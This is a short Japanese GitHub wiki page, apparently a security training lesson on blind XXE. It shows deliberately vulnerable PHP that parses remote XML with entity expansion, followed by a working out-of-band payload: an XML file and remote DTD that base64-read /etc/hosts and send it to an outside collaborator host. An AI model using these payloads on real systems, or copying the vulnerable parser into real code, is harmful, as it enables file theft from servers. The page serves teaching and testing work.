XXE 03 - yujitounai/helloworld GitHub Wiki
XXE-03
Blind XXE
脆弱なソースコード (PHP)
<?php
//userリストの読み込み
if (!empty($_GET['url'])) {
$content = @file_get_contents($_GET['url']);
$xml = new SimpleXmlElement($content, LIBXML_NOENT);
}
else {
highlight_file(__FILE__);
}
攻撃方法
/xxe-03.php?url=http://bogus.jp/xxe3.xml
すると外部サイトに読み込まれた情報が送られる
XMLファイルの中身
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://bogus.jp/xxe2.dtd">
%dtd;
%send;
]]>
dtdファイルの中身
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://burpcllaborator/?%remote;'>">
%all;